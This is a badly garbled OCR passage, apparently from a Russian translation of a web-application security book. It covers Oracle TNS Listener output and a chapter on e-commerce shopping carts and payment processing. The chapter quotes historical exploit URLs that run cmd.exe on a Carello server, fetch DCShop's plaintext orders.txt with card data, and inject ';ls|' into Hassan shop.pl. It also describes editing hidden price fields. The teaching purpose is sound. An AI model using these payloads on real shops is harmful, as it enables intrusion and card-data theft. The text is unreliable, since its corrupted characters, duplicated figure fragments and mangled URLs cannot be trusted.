sending (CONNEC^DATA-(CONMAUD«etop)) to 192.168.0.5:1521
writing 87 bytes reading .G"・・1
DBSCRIFTION-
ТИР-
VSKNUM-135294976
ERRR
USECKFriLB-0
И наконец, снова используем команду ping, чтобы определить статус этой службы. [/5р], ./tnicmd.pl ping -р 1521 -h 192.168.0.5 ■-indent sending (CONKECT_DATA-(СОЮ4МГО«р1пд)) to 192.168.0.5:1521 connect connect to 192.168.0.5 failure: Bad file descriptor at ./tnflcnd.pl line 165.
Теперь, разумеется, служба TNS Listener не отвечает, поскольку она была отключена.
Резюме
Web-серверы и системы управления базами данных составляют основу любого Web -приложения. Если вопросам обеспечения их безопасности не уделяется должного внимания, конфигурационные параметры этих систем со значениями, заданными по умолчанию, предоставляют хакерам массу возможностей и способов реализации атак.
Изъяны имеются в таких Web-серверах, как IIS и 库ache, однако обычно они имеют отношение ко внешним службам и связанным с ними программам, которые без проблем можно отключить. Уровень защищенности серверов Oracle и Microsoft SQL Server, установленных с параметрами по умолчанию, можно существенно повысить без ощутимого влияния на их функционирование в целом.
ГЛАВА3
Выбор товаров и обработка платежей
Вы покупаете не рыбу, а жизни людей.
Вальтер Скотт (1771-1832)
Введение
За годы своего существования розничная торговля заметно преобразилась. На заре появления магазинов владелец такого заведения находился за прилавком и отвечал на просьбы покупателя. Если необходимый товар был на полке, продавец давал его noicyna- телю, позволяя рассмотреть поближе. Затем покупатель должен был сообщить, хочет ли приобрести его. Если да, товар отюгадывался, продавец выслушивал очередную просьбу и так происходило до тех пор, пока все нужные товары не были отложены, после чего владелец магазина мог подготовить окончательный счет и принять оплату. Конечно, если какой-либо товар покупателя не устраивал, продавец мог снова вернуть его на полку.
Сегодня в большинстве магазинов клиенты могут самостоятельно выбирать товары. Покупатель может обратиться за помощью к кому-либо из консультантов, однако в целом товары представлены так, что с посещением магазинов и покупками не возникает никаких сложностей. Таким образом, магазины могут обеспечить массовое обслуживание покупателей, каждый из которых делает покупки индивидуально. В целом для покупателя: процесс приобретения товаров заметно упростился. Такие факторы, как размещение товаров, расположение витрин, местоположение и ширина проходов между стеллажами в магазине, расположение контрольных касс, а также помощь со стороны обслуживающего персонала, имеют немаловажное значение в общей организации процесса продаж.
Еще одним новшеством сферы розничной торговли стало появление так называемых "продаж по каталогам0. Здесь на смену торговому залу пришел печатный каталог товаров и четко определенный способ оформления заказов по почте или телефону. Этот подход позволил торговым компаниям выйти на уровень обслуживания целого региона или целой страны без использования розничных магазинов. В каталогах на товар предлагались конБсурентоспособные цены, посколысу отсутствовали накладные расходы на подцержку розничных магазинов, инвентаризацию товара, оплату труда персонала, планирование и материально-техническое снабжение. Для выполнения заказов использовалось несколько центральных складов и хорошо налаженная система доставки. С ютки зрения покупателя, это была качественно новая ступень: покупки можно было приобретать, не выходя из дома.
Электронная коммерция — это попытка объединения наиболее привлекательных сторон приобретения товаров как непосредственно в магазинах, так и с использованием каталогов. По сравнению с обычным каталогом Web-приложения предлагают значительно большие возможности для реализации диалога с покупателем. Кроме того, в дополнение к тривиальным тексту и картинкам они позволяют применить более широкий спектр рекламных трюков с использованием анимации, аудио- и видеоклипов. Все делается для того, чтобы привлечь внимание потенциальных клиентов и в конечном счете продать больше товара. По сути, успех интерактивных магазинов почти полностью зависит от "простоты” процесса приобретения покупок, чему в немалой степени способствуют чрезвычайно привлекательные формы представления электронной информации.
Отправляясь в магазин, покупатели не придерживаются единой схемы выбора товаров и имеют различные потребности. Торговый зал магазина и его ассортимент на взгляд разных покупателей выглядят неодинаково (для одних более привлекательно, для других — менее). Поэтому самая сложная проблема, с которой сталкиваются электронные магазины, — это постараться угодить разнообразным потребностям и желаниям клиентов, находящихся по ту сторону Web-интерфейса. Да и товар покупатели выбирают по-разному. Например, бсго-то в процессе перемещения по интерактивному магазину предпочитает собрать перед собой все выбранные покупки, однако до самого конца откладывает принятие окончательного решения. Возможно, другому по- Бсупателю больше нравится делать по одной покупке за один раз. Есть у покупателей собственные привычки и в отношении платежей. Хотя для оплаты розничных поку-
пок большинством из них используются кредитные карточки, поБсупатели по- прежнему любят расплачиваться наличными или чеком. И даже при использовании кредитных карточек покупатели, возможно, предпочитают карточки какой-то определенной компании. В системах электронной коммерции должны учитываться все эти потребности и предпочтения.
По мере развития Web -приложений электронной коммерции некоторые технологии и компоненты стали стандартными для любого электронного магазина. В этой главе основное внимание уделяется двум важнейшим аспектам виртуальных магазинов ——подсистемам выбора товара (торговым тележкам) и внешним системам обработки платежей. Цель данной главы — ознакомить читателя с несколькими наиболее важными концепциями и проблемами, связанными с обеспечением безопасности. Рассмотренный в этой главе материал будет использоваться при обсуждении атак на электронные магазины, описываемых в главе 10.
Эволюция торгового зала
Проанализировав процесс развития розничной торговли, можно лучше понять роль того или иного компонента в структуре электронной коммерции. Начнем с рассмотрения традиционной модели розничной торговли. Ее основные элементы и их взаимосвязь показаны на рис. 3.1.
Рис. 3, 7. Схема традиционной модели розничной торговли
В традиционной модели покупатели взаимодействуют с продавцом в торговом зале магазина. Его назначение заключается: в демонстрации и, вообще говоря, хранении некоторого количества товаров, достаточного для удовлетворения потребностей покупателей в течение одного дня. В торговом зале клиенты могут рассчитаться за свои поБсупки, а если какие-то заказы поБсупателей нельзя выполнить непосредственно в самом магазине, то продавец обязан оформить заказ и его оплату. Затем такой заказ передается владельцу магазина для дальнейшей обработки.
В целом процесс покупки и доставки организован примерно следующим образом. Сначала компания проверяет точность заказа и наличие требуемых товаров. Если все необходимые товары найдены, финансовый отдел компании обрабатывает платеж. После завершения обработки платежа компания взаимодействует со своими постав-
щиками и их товарным складом, чтобы приступить к отправке оплаченных товаров в соответствии с заказом.
Помимо непосредственной продажи товаров, с розничной торговлей связано выполнение и многих других сопутствующих фунвдий и операций. Например, необходимо осуществлять маркетинг, суть которого сводится к тому, чтобы выяснить, что же в первую очередь привлекает покупателей в магазин.
По мере роста числа операций, объемов поставляемых товаров и потребностей в повышении эффективности предприятия розничной торговли начали использовать реализующие бизнес-логику транзавдий и управление запасами программные приложения, которые были способны выполнять различные бизнес-процессы автоматически. Посколысу этот путь оказался для компаний розничной торговли весьма успешным, автоматизация различных процессов стала использоваться все более интенсивно. На рис. 3.2 показан рост уровня автоматизация предприятий благодаря применению вычислительной техники.
Рис. 32 Автоматизация с использованием компьютерной техники
Установленные в торговом зале компьютерные системы позволяют эффективно фиксировать и обрабатывать транзакции. В конце дня все заказы по электронным каналам связи передаются в корпоративную систему компании. Сюда же поступают обновленные данные от поставщиков и товарного склада, что помогает отслеживать запасы товаров. В свою очередь, компьютерные системы компании обычно взаимодействуют с банковскими компьютерами для пакетной обработки платежей. После завершения этой обработки заказы отсылаются поставщикам и на склад товаров для выполнения. Однако на этом процесс развития не заканчивается. По мере роста числа пользователей, имеющих доступ к Internet, и в результате развития серверов Web- приложений возникла электронная розничная торговля (электронный бизнес, или электронная коммерция). Вместо автоматизации бизнес-процессов предприятия сами стали автоматизированными. Серверы приложений стали полностью подцерживать выполнение бизнес-логикм в Internet и были способны взаимодейств овать с бизнес- процессами финансовых организаций и поставщиков. Средства Internet позволяют выполнять и служебные функции, например связанные с маркетингом. На смену обычным магазинам стали приходить электронные. Компании стали размещать свои магазины в Internet и напрямую обслуживать покупателей, которые взаимодействовали с элеБсгронными витринами через Web-броузер.
В настоящее время всего за несколько минут можно оформить заказ, обработать платеж, обновить содержимое склада и приступить к вьшолнению заказов. При этом для успешного функционирования такой системы требуется лишь небольшое вмешательство со стороны человека-оператора. Модель электронной коммерции изображена на рис. 3.3.
Рис. 3.3. Модель электронной коммерции
Электронная коммерция
Имея представление о модели электронной розничной торговли, рассмотрим процесс приобретения товаров в интерактивном магазине. Компании размещают свои виртуальные торговые площадки в качестве Web- приложений на Web-серверах. Такой Web-узел становится электронным “представительством” магазина в Internet. Поьсупа- тели "входит” в такой магазин, просматривая его Web-узел. Электронная витрина приглашает покупателя в мир виртуальных покупок, где они выбирают и приобретают товары. Электронный торговый зал взаимодействует с внешней системой обработки платежей (или каналом платежей), предоставляемой финансовым учреждением, и обеспечивает прием платежей. Кроме того, для обработки и выполнения заказов электронный магазин взаимодействует с корпоративными системами самой компании, а также системами поставщиков и программным обеспечением управления складом.
При посещении электронного магазина (или Web-узла) покупатель просматривает различные товары, которые в нем продаются. Он знакомится с описанием товара, его ценой и решает, какое количество товара ему необходимо. Если покупатель решил приобрести тот или иной товар, ему необходимо ,,oтлoжить,, его до завершения виртуальной прогулки по магазину. Чтобы складывать выбранные товары в обычном магазине, покупатель использует торговую тележку до того момента, пока он не решит подойти к кассе. Современная электронная тележка (или, как ее иногда называют, корзина) аналогична обычной, которая пре1фасно знакома каадому покупателю. В ней хранятся данные о выбранных товарах. Когда все необходимые товары выбраны, с использованием такой виртуальной тележки клиент может еще раз внимательно проанализировать свой выбор, а затем оплатить покупку. В электронных магазинах платежи клиентов обрабатываются через платежные системы, которые поддерживаются той финансовой организацией, где открыты банковские счета данного магазина. При этом должна обеспечиваться их необходимая настройка, которая предоставит возможность обслуживания различных потребностей клиентов. Платежной системой проверяется законность используемого покупателем средства
оплаты, а также вьшолняются действия, необходимые для обработки платежа и перевода соответствующей суммы на счет владельца магазина. На рис. 3.4 представлено взаимодействие покупателя с электронным магазином розничной торговли.
Рис. 3.4. Использование электронной торговой тележки и системы обработки платежей
Подсистемы выбора товаров
Тележки в магазинах само о бслуживания используются для удобства клиентов. Покупатель берет тележку в специально выделенном месте, находящемся рядом со стоянкой для автомашин или у входа в магазин. Далее он передвигается с тележкой по торговому залу и складывает в нее необходимые товары. Так происходит до тех пор, пока покупатель не решит подойти к контрольной кассе. Расплатившись и закончив перекладывать покупки в автомобиль, покупатель возвращает тележку на место. При посещении электронного супермаркета виртуальная корзина используется для достижения той же цели — облегчения процесса приобретения товаров. Чтобы разобраться с основными принципами реализации процесса выбора товаров, необходимо понять, как весь этот механизм фуньщионирует.
Назначение и время жизни электронной торговой тележки
Когда покупатель впервые заходит в электронный розничный магазин, с использованием специального приложения ему предоставляется виртуальная тележка. Она используется до тех пор, пока покупатель не разместит в ней все нужные товары и не покинет Web-узел
данного магазина. После оформления заказа содержимое виртуальной корзины удаляется, а используемые ею ресурсы освобозщаются. Поскольку в использовании торговой тележки больше нет необходимости, она ,,уничтожается,* управляющим приложением.
Сбор, анализ и сравнение выбранных товаров
Как и при использовании традиционной торговой тележки, с помощью электронной покупатель может выбрать нужные товары, проведя тщательный анализ предложений от различных производителей, и поместить их в корзину. Возможность ,,придержатьп товары и “перевозить” их при передвижении по магазину позволяет экономить время, затрачиваемое на покупки. В противном случае покупателю пришлось бы оплачивать каждый товар сразу же после его выбора и лишь затем продолжать навигацию по виртуальному магазину. Кроме того, совершая покупки, можно в любой момент пересмотреть отобранные товары и сравнить их с другими предложениями.
Отслеживание общей стоимости
Серьезное преймушество, которым обладает электронная торговая тележка по сравнению с традиционной, состоит в том, что она обеспечивает вывод на экран текущей общей стоимости товаров по мере их добавления. Таким образом, покупатель может отслеживать общую стоимость выбранных товаров и сравнивать ее со своими финансовыми возможностями.
Изменение решения
Зачастую покупатель меняет решение о приобретении товара уже после его выбора. Если найден более подходящий или дешевый товар, чем тот, который уже содержится в корзине, то ранее выбранный товар можно заменить новым. Если окажется, что покупатель "не впиcывaeтcя,, в бюджет, то он может отказаться от каких-то уже выбранных товаров или приобрести их в меньшем количестве. Электронные тележки позволяют покупателю удалять и изменять количество ранее выбранных товаров.
Оформление покупки
Электронная тележка помогает владельцу магазина выписывать итоговые счета. Благодаря тому что постоянно отслеживается общая стоимость выбранных товаров, системе контроля не требуется вычислять общую стоимость. Вместо этого просто выполняется подсчет налогов и дополнительных сборов, а затем генерируется итоговый счет, на основе которого и выполняется оплата.
Таким образом, подсистема выбора товаров (электронная торговая тележка) является ,,сердцем,* электронного магазина. Она связывает между собой покупателя, каталог, складскую и платежную системы. Некоторые подобные системы предоставляют покупателю рекомендации по выбору товаров, а также возможность "на лету" сравнить цены для ряда аналогичных продуктов. Как правило, электронные тележки реализуются на сервере. При использовании такой архитектуры клиент может возобновить процесс приобретения товаров с того же места, в котором по какой-либо причине был внезапно прекращен сеанс связи. Кроме того, если подсистема выбора товаров реализована в клиентской части приложения, она становится потенциальным кандидатом для осуществления краж в электронном магазине!
На рис. 3.5 и 3.6 показано, как электронную тележку можно объединить с каталогом товаров и как покупатель может отслеживать выбранные товары в процессе их приобретения.
»uiwsa«teOM»is»uiwsa«teOM»isGet a oair of "e W Socks 俞 8 vrth tMa “5mcGet a oair of "e W Socks 俞 8 vrth tMa “5mc(ХигМ. I* buy才(ХигМ. I* buy才Mm* si**« A3",Mm* si**« A3",'WOWM—rCotton Shifts'WOWM—rCotton ShiftsAcme I >'i'•,「"Acme I >'i'•,「"100W C*m SlumM a 8feN« П* Им this100W C*m SlumM a 8feN« П* Им this0usr4»> 卜 - t>uu "0usr4»> 卜 - t>uu "Siencc,, _p -_.—-...— ShK to perfection.t>Uf| VSiencc,, _p -_.—-...— ShK to perfection.t>Uf| Vt>uu Wt>uu WAcme JtfUUHAcme JtfUUH100% семя Plain cMchs100% семя Plain cMchsGet а с-.* of ty ”,d Socks■•• inMiMi ” cImm.Get а с-.* of ty ”,d Socks■•• inMiMi ” cImm.tM>w *tM>w *Рис. 3.5. Электронная тележка, объединенная с каталогом товаровРис. 3.5. Электронная тележка, объединенная с каталогом товаровТо Update ап,:вгг change the quantity or options and click update. Click delete to remove an item from the cart.То Update ап,:вгг change the quantity or options and click update. Click delete to remove an item from the cart.Click Here To Continue ahiwinqClick Here To Continue ahiwinq
»uiwsa«teOM»is
»uiwsa«teOM»is
Get a oair of "e W Socks 俞 8 vrth tMa “5mc
Get a oair of "e W Socks 俞 8 vrth tMa “5mc
(ХигМ. I* buy才
(ХигМ. I* buy才
Mm* si**« A3",
Mm* si**« A3",
'WOWM—rCotton Shifts
'WOWM—rCotton Shifts
Acme I >'i'•,「"
Acme I >'i'•,「"
100W C*m Slum
M a 8feN« П* Им this
100W C*m Slum
M a 8feN« П* Им this
0usr4»> 卜 - t>uu "
0usr4»> 卜 - t>uu "
Siencc,, _p -_.—-...— ShK to perfection.
t>Uf| V
Siencc,, _p -_.—-...— ShK to perfection.
t>Uf| V
t>uu W
t>uu W
Acme JtfUUH
Acme JtfUUH
100% семя Plain cMchs
100% семя Plain cMchs
Get а с-.* of ty ”,d Socks
■•• inMiMi ” cImm.
Get а с-.* of ty ”,d Socks
■•• inMiMi ” cImm.
tM>w *
tM>w *
Рис. 3.5. Электронная тележка, объединенная с каталогом товаров
Рис. 3.5. Электронная тележка, объединенная с каталогом товаров
То Update ап,:вгг change the quantity or options and click update. Click delete to remove an item from the cart.
То Update ап,:вгг change the quantity or options and click update. Click delete to remove an item from the cart.
Click Here To Continue ahiwinq
Click Here To Continue ahiwinq
Рис. 3.6. Содержимое mop^o^o. тележки
Реализация электронной тележки
Как видно из рис. 3.7, для правильной реализации подсистемы выбора товаров (электронной тележки) необходимо объединить несколько различных компонентов. Во-первых, такое приложение нужно интегрировать с модулем управления сеансами, который служит для отслеживания процесса приобретения товаров конкретным покупателем. Во-вторых, модуль выбора товаров необходимо объединить с каталогом товаров, который обеспечивает вывод на экран информации о товарах электронного магазина и позволяет покупателю ее просматривать. Покупатель может выбрать из каталога какой-либо товар и поместить его в свою корзину. В-третьих, электронная корзина интегрирована с платежной системой, которая используется при оплате покупки. В-четвертых, торговая тележка связана с внутренними базами данных, например содержимого склада (для автоматической проверки и обновления данных по имеющемуся в наличии товару). В таких базах данных может содержаться также информация о покупателях и их предпочтениях и т.д.
Рис. 3.7. Основные принципы реализации электронной тележки
За время существования электронной розничной торговли было реализовано множество различных типов электронных тележек. Одни из них принадлежат к категории общедоступного программного обеспечения с открытым исходным кодом, другие распространяются как коммерческие приложения от сторонних производителей. Несмотря на существование большого количества различных электронных тележек, реализация многих из них оказалась неудачной, что в конечном счете повлияло на информационную безопасность.
Каталогтоваров
Обычно в каталоге товаров содержится код товара, его описание, цена и некоторая дополнительная информация. Когда покупатель выбирает товар из каталога, он помещает его в свою корзину. Слабая интеграция каталога товаров и торговой тележки приводит к появлению различных изъянов в подсистеме безопасности.
Например, если при выборе товара поБсупатель сможет манипулировать его ценой, то может произойти серьезная ошибка. Подобные атаки, направленные на приобретение товаров по сниженным ценам, более подробно рассматриваются в главе 10.
Правильно реализованная подсистема выбора товаров взаимодействует с внутренней базой данных, в которых содержится информация о предлагаемых товарах. Такие параметры, как цены, извлекаются именно из такой базы данных, а не из полей HTML-формы, передаваемых между сервером и клиентом. Не менее важной является проверка количества приобретаемых товаров. Что случится, если покупатель разместит в торговой тележке отрицательное количество продуктов? И что произойдет, если будет введено дробное число?
Управление сеансами
Еще один существенный аспект реализации электронной тележки — подцержка механизма управления сеансами. Совершая поБсупки в электронном супермаркете, каждый поБсупатель должен использовать свою собственную торговую тележку. Как и в традиционных магазинах, в электронном одновременно может об служиваться множество поБсупателей. Недоработанный механизм управления сеансами может вызвать путаницу и привести к катастрофическим последствиям, особенно если кому-то из клиентов по ошибке придется оплачивать покупки кого-либо другого. Для контроля за операциями поБсупателей необходимо хорошо продумать серверную подсистему управления сеансами. Плохо спроектированная система может привести к захвату сеанса злоумышленниками или к утечке информации.
Интерфейс с базой данных
Интерфейс между электронной тележкой и внутренними базами данных зачастую оказывается точкой приложения усилий хакеров. Если такой интерфейс реализован некорректно, злоумышленник может воспользоваться опасными SQL-запросами к базе данных и добиться нарушения безопасности системы. Хакер может также модифицировать промежуточные таблицы, в которых хранятся данные о сеансах и товарах, выбранных другими пользователями.
Взаимодействие с платежной подсистемой
После завершения сеанса приобретения товаров все выбранные товары из тележки и соответствующий счет направляются на страницу, предназначенную для генерации счета-фактуры и обработки платежей. Плохо проработанный интерфейс взаимодействия в этой области может привести к фальсификации цен или вводу недопустимых значений (для количества товара). В таком виде информация будет передана подсистеме обработки платежей.
Примеры неудачно реализованных подсистем выбора товаров
В этом разделе рассматриваются некоторые примеры, кратко иллюстрирующие те негативные последствия, к которым может привести некорректная реализация электронной тележки. Более полный обзор рассматриваемых здесь изъянов приводится в последующих главах, в частности в главе 10.
ЭлектроннаятележкаСагеИо
Электронная тележка Carello (http://www.carelloweb.com), поддерживаемая системой Windows NT, обладает изъяном, который позволяет удаленно выполнять команды с использованием протокола HTTP. В состав этого приложения входит компонент Carello.dll, используемый в процессе взаимодействия с клиентом. Добавив в специально сформированный адрес URL необходимые команды, взломщик может удаленно выполнить их на Web-сервере.
Например, следующий URL обеспечивает выполнение на сервере команды dir:
http://target/8cripts/Caxello/Carello.dll?CARELLOCODEaSlTE2(
VBEXE=C:\・.\vlnnt\systeD32\c»d.exet20/cl20dir
Полное описание этого изъяна можно найти по адресу: http:/ /securitytracker.сое/ alerts/2001/May/1001526.html.
Электронная тележка DCShop
Электронная тележка DCShop (http://www.dcscripts.com/dcforum/dcshop/44.html) хранит временную информацию о заказах в виде незашифрованного текста в файле orders.txt. Этот файл находится в подкаталоге Order системы DCShop, и любой пользователь может извлечь его через протокол HTTP. В файле orders.txt содержатся все данные последних заказов покупателей, включая имена, адреса доставки, почтовые
адреса, а также данные о кредитных карточках. Для реализации атаки достаточно воспользоваться следующим URL
http://target/cgi^bln/DCShop/Orderв/orders.txt
Полное описание этого недостатка можно найти по адресу: http: //securitytracker.com/ elerts/2001/Jun/1001777.htul.
Электронная тележка от Hassan Consulting
Электронная корзина от компании Hassan Consulting (http://www.irata.com/ products.html) позволяет выполнять на сервере произвольные команды. Это приложение предназначено для системы Unix и разработано с использованием языка Perl. Сценарий shop.pl не обеспечивает фильтрации таких символов, как ; и |. Из-за этого удаленные пользователи могут вставлять в URL команды и передавать их на сервер. При этом используется следующий URL:
https//target/cgi-local/shop.pl/SID«947626980.19094/page«;ls|
Полное описание этого изъяна можно получить по адресу: http ://se curitytracker. с от/ alerts/2001/Sep/1002379.htnl.
Некоторые другие электронные тележки
При реализации некоторых подсистем выбора товаров внутри исходного HTML-кода содержатся скрытые поля формы, используемые для хранения информации о товаре, его цене, весе, количестве и маркировке. Взломщик может сохранить Web-страницу с интересующим его товаром на своем компьютере и отредактировать исходный HTML-код, например изменить параметры данного товара, включая его цену. Полное описание этогонедостаткаможнонайтипоадресу: http://online.securityfocus.com/bid/1237.
Обработка платежей
До сих пор речь шла о просмотре покупателем предлагаемого в электронном магазине ассортимента товаров и выборе тех из них, которые он хочет приобрести. Вся ответственность за реализацию данного процесса возложена на приложение каталога товаров и подсистему выбора товаров (торговую тележку). Теперь стоит подробно остановиться на процессе подсчета общей стоимости выбранных товаров и на том, как покупатели оплачивают свои покупки.
Окончательное оформление заказа
Как только покупатель завершит выбор необходимых товаров и сообщит о том, что готов оплатить покупку, подсистеме обработки платежей передаются все необходимые сведения о заказе из торговой тележки покупателя. Для окончательного оформления заказа запрашивается также дополнительная информация: адрес и способ доставки, форма оплаты и т.д. При необходимости на этом этапе покупатель может пересмотреть сделанный заказ и внести в него изменения.
Форма оплаты
Покупатель может воспользоваться несколькими вариантами оплаты покупки. Кредитные и дебетные карточки — это наиболее популярные методы оплаты покупок, независимо от того, совершаются они в традиционных или электронных магазинах. Все электронные системы обработки платежей производят расчеты как по кредитным карточкам, так и с помощью чеков.
Проверка подлинности и защита
от мошенничества
Подсистемы обработки платежей взаимодействуют с платежной системой финансового учреждения и обеспечивают проверку достоверности информации, указанной покупателем при оплате покупки. При использовании кредитных карточек система обработки платежей финансового учреждения проверяет номера кредитных карточек и конечный срок их действия, устанавливает подлинность владельца, определяет, не превышает ли общая стоимость покупок кредитовый остаток данной карточки, и т.д.
На Web-узле электронного магазина подсистемой обработки платежей ведется подробный журнал регистрации всех транзакций, что позволяет обеспечить четкое взаимодействие с финансовым учреждением. Поддержка журналов регистрации в большинстве случаев обязательна, а для самих журналов необходимо обеспечить надежную защиту. Взломщик, получивший доступ к такому журналу, — это прямая угроза нарушения безопасности системы, идентификационных данных и средств обработки платежей. В дальнейшем их можно использовать в мошеннических махинациях.
Выполнение заказа и оформление торгового чека
После того как платеж успешно обработан, платежная подсистема виртуального магазина подтверждает принятие заказа, а затем генерируется торговый чек для покупателя. В настоящее время такие приложения позволяют отправлять покупателям торговые чеки по электронной почте, а также сообщать о доставке оплаченного товара. Может также предоставляться сопроводительный номер, используемый службой доставки, чтобы покупатель мог самостоятельно отслеживать процесс доставки заказа.
Общие сведения о подсистеме обработки платежей
На рис. 3.8 представлена схема типичного процесса обработки платежей для электронной коммерции. Тремя основными функциопальными элементами подсистемы обработки платежей для электронного магазина являются модуль подтверждения заказа, модуль взаимодействия с платежной системой финансового учреждения и модуль взаимодействия с базой данных транзакций (рис. 3.9).
Современные способы борьбы с подделкой кредитных карточек
Одна из самых популярных тем при обсуждении электронного бизнеса — это мошенничество с кредитными карточками. Практически каждый день в новостях
упоминается об инцидентах подобного рода. Еще большее число таких происшествий остается "за кадром**. На современном рынке бытует миф о том, что безопасность кредитных карточек всецело зависит от протокола SSL. На самом деле в большинстве случаев этот протокол имеет весьма отдаленное отношение к подцелке кредитных карточек. Между тем SSL-сеанс действительно является той преградой, которая не позволяет хакеру прослушивать сетевой трафик и извлекать конфиденциальную финансовую информацию, отправляемую поБсупателем в интерактивный магазин. Сегодня не зафиксировано ни одного случая мошенничества с кредитными карточками, когда злоумышленниБсу удалось бы взломать сеанс, шифруемый ,,ненадежным,* 40-разрядным ключом протокола SSL, и похитить идентификадион- ные данные покупателя. Более того, первая причина мошенничества с кредитными карточками в электронной коммерции связана с проникновением хакера в злектрон- ный магазин и получением им информации из базы данных транзакций.
Несколько лет назад был разработан протокол Secure Electronic Transaction (SET). Этот протокол позволяет владельцу магазина не получать фактическую информацию о кредитных карточках. Согласно такой схеме в транзакции одновременно участвуют три стороны — покупатель, продавец и финансовое учреждение. Когда поБсупатель решает оплатить покупки, SET-система на его компьютере отправляет продавцу сообщение с точными данными о транзакции и копией цифрового сертификата покупателя. Никаких данных о кредитной карточке не сообщается. Затем продавец отсылает запрос своему финансовому учреждению, которое, в свою очередь, выполняет авторизацию в процессе взаимодействия с финансовым учреждением покупателя. При этом используются сведения о сертификате покупателя. Когда все формальности согласованы, платеж считается успешно произведенным. Таким образом, владелец магазина никогда не имеет дела с реальными данными кредитных карточек, и кража информации из системы продавца не влечет за собой мошенничества. Вместе с тем протокол SET не получил широкого распространения. В его основу была положена идеализированная модель, требующая от всех трех участников проекта подцержки инфраструктуры шифрования по открытому ключу (Public Key Infrastructure — PKI) и серьезного программного обеспечения. Чтобы добиться подобного результата, некоторые компании, предоставляющие кредитные карточки, применяют новую технологию, предусматривающую использование ,,разовых,* кредитных карточек. Всякий раз, когда поБсупатель решает произвести платеж в интерактивном режиме, такая компания выпускает в обращение "виртуалв- ную” кредитную карточБсу. ПоБсупатель регистрируется на Web-узле компании, предоставляющей разовые кредитные карточки. Далее он вводит такие параметры, как сумма, которую необходимо будет уплатить, и срок действия платежа. В ответ генерируется номер ''виртуальной” кредитной карточки, действительный только дая одной транзакции. Этот номер связан с подлинной кредитной карточкой данного по- Бсупателя и сохраняется на протяжении всего срока использования.
В дальнейшем вместо номера обычной кредитной карточки покупатель использует номер виртуальной карточки. С точки зрения продавца, виртуальная кредитная карточка обрабатывается точно так же, как и обычная. Финансовое учреждение, с которым взаимодействует интерактивный магазин, отправляет сообщение с результатами верификации и расчетных операций компании, предоставившей поБсупателю виртуальную кредитную карточБсу. Там определяется, является ли данная виртуальная карточка действующей и не превышает ли размер платежа той суммы, которая была указана покупателем. Остальные этапы обработки платежа выполняются обычном образом.
Сразу же после использования виртуальная кредитная карточка аннулируется. Ее номер больше никогда не будет действителен. Если информация о виртуальной кредитной карточке будет похищена с Web-узла электронного магазина и взломщик попытается повторно ею воспользоваться, подцелка легко обнаружит-
ся и, помимо отказа в выполнении транзакции, по факту мошенничества будет инициировано расследование.
Компания Discover Financial Services, эмитент кредитных карточек однократного применения Discover (Single-Use Credit Card), использует именно такую модель. Эта компания предлагает покупателям также приложение Discover DeskShop, которое можно интегрировать с броузером и, таким образом, упростить быстрый нвыпуск в обращение^ разовых кредитных карточек с Web-узла Discover.com. Подробную информацию об этом подходе можно найти по адресу: http://wvw2. discovercard. coin/shopcenter/deskshop/saiA.sht*l. Основная схема использования разовых кредитных карточек представлена на рис. 3.8.
Для окончательногооформления заказау пользователязапрашивается номеркредитной карточки
Электронный магазинПлатежная система(Страница приложения, запрашивающаяномер кредитной карточки)
Передача номеравременной кредитнойкарточки Discover
Покупатель
Пользователь запрашиваетномер кредитной карточкиDiscover и требуемую сумму
Система ret
для пользователя однувременную карточку
Финансовое учреждение
Номер кредитной карточкиодноразового использования
Система генерации
Рис. 3.£ Использование разовой кредитной карточки Discover для оплаты покупок
Страница подтверждения заказа
После того как поБсупатель решил оплатить товары, содержащиеся в электронной тележке, управление передается странице подтверждения заказа, где поБсупатель должен указать такую информацию, как номер кредитной карточки, свое имя, адрес и тип доставки, а также адрес, по которому нужно отправить счет.
Интерфейс системы обработки платежей финансового учреждения
Каждый элеБсгронный магазин взаимодействует с платежной системой определенного финансового учреждения. Эта система предоставляет интерфейс, реализованный в виде программного компонента. Так, например, платежная система PayFlow Pro, разработанная компанией VeriSign, предоставляет множество таких компонентов, включая Java-объект, динамически подключаемую библиотеку DLL, подцерживающую технологию СОМ, а также совместно используемый модуль Unix.
Интерфейс системы обработки платежейИнтерфейс системы обработки платежейВызов такого интерфейсного компонента выполняется из приложения, реализующего функции виртуального магазина. Этот компонент пересылает необходимую информацию системе обработки платежей финансового учреждения через канал, зашифрованный, например, с использованием протокола SSL. Кроме того, данный модуль возвращает приложению электронного магазина сообщение с кодом состояния транзакции. В таком сообщении указывается, была ли транзакция успешно выполнена, а также другая подробная информация. На основании полученного кода принимается решение о дальнейшей обработке заказа.
Интерфейс системы обработки платежей
Интерфейс системы обработки платежей
Интерфейсбазы данныхтранзакций
Транзакция,зашифрованная
протокола SSLпротокола SSLс использованием
протокола SSL
протокола SSL
Финансовое
Транзакция, Чучре>кдение зашифрованная
Система обработкиплатежей сторонкойСистема обработкиплатежей сторонкойс использованиемпротокола SSLс использованиемпротокола SSL
Система обработкиплатежей сторонкой
Система обработкиплатежей сторонкой
с использованиемпротокола SSL
с использованиемпротокола SSL
компании
Рис. 3.9. Основная архитектура подсистемы обработки платежей
Интерфейс базы данных транзакций
После передачи информации о транзакции системе обработки платежей финансового учреждения данные о ней и результаты обработки записываются во внутреннюю базу данных электронного магазина для будущего использования. Необходимо тщательно спроектировать интерфейс базы данных транзакций, чтобы исключить любую возможность извлечения или искажения хакерами данных транзакции.
Пример взаимодействия с системой обработки платежей финансового
учреждения
Популярная система обработки платежей PayFlow Pro распространяется компанией VeriSign. Ее клиентская часть используется приложением электронного магазина и взаимодействует с серверами PayFlow Pro компании VeriSign. Клиент PayFlow Pro взаимодействует с серверами PayFlow Pro, передавая HTTP-запросы, зашифрованные с использованием SSL. В таком запросе содержатся различные параметры, необходимые для обработки транзакции.
В рассматриваемом примере интерфейс Pay How Pro реализован с использованием сервлетов Java. В клиентской части Java-объект PayFlow Pro инкапсулируется в сервлете Java. На рис. 3.10 показано, как в Web-броузере выглядит страница, с помощью которой осуществляется взаимодействие с серверной частью системы PayFlow Pro.
Payment Gateway Interfaced
Cart code
Credit Card number I
E)tfy date「"^(—
I
gonfh/year)・,
Рис. ЗЛО. Пример HTML-страницы, предназначенной для взаимодействия со службой PayFlow Pro
Представленный ниже фрагмент HTML взят из кода HTML-страницы, которая может использоваться для взаимодействия с системой обработки платежных транзакций PayFlow Pro и активизации клиентского компонента системы обработки платежей.
<Hl>Paynent Gateway Interface</Hl>
<Р>
<form namespfpro_fonB nethod^E"
action*#https s//payaent.example.сов/servlet/FFServlet/*>
<table border=0>
